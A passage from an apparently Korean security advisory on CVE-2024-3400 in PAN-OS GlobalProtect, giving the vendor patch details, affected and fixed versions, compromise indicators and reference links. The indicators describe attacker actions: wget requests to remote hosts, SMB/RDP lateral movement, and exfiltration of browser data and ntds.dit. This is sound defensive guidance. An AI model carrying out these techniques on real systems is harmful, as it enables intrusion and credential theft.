- 벤더사 제공 보안 업데이트 적용 [6]

> main_isValidSessionId()를 추가하여 SESSID 값을 추출하며 유효한 UUID 값인지 확인

> [사진 4] pansys() 호출시 shell 변수 값을 False로 수정

제품명 영향받는 버전 해결 버전
PAN-OS 11.1 ~ 11.1.2-h3 이전 11.1.2-h3 이상
11.0 ~ 11.0.4-h1 이전 11.0.4-h1 이상
10.2 ~ 10.2.9-h1 이전 10.2.9-h1 이상

 

- 장치 침해 징후 식별

구분 설명
네트워크 트래픽
모니터링
- wget 명령을 이용한 특정 IP, URL에 대한 요청
- GlobalProtect 어플라이언스에서 시작된 내부 여러 시스템에 대한 SMB/RDP 연결
- Chrome 또는 Edge 데이터 또는 ntds[.]dit 파일의 SMB 파일 전송
방화벽 로그 분석 - Palo Alto Networks와 Volexity는 분석을 위한 기술 지원 제공
휘발성 메모리 수집

 

- 관련 침해지표 보안 장비 등록 [7][8]

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-3400
[2] https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

[3] https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis

[4] https://www.paloaltonetworks.com/blog/2024/04/more-on-the-pan-os-cve/

[5] https://hackyboiz.github.io/2024/04/14/j0ker/2024-04-13/
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71402&menuNo=205020

[7] https://github.com/volexity/threat-intel/blob/main/2024/2024-04-12%20Palo%20Alto%20Networks%20GlobalProtect/indicators/rules.yar

[8] https://github.com/volexity/threat-intel/blob/main/2024/2024-04-12%20Palo%20Alto%20Networks%20GlobalProtect/indicators/iocs.csv

[9] https://www.boannews.com/media/view.asp?idx=128841&page=1&kind=1
[10] https://www.boannews.com/media/view.asp?idx=128833&page=1&kind=1
[11] https://www.dailysecu.com/news/articleView.html?idxno=155122

+ Recent posts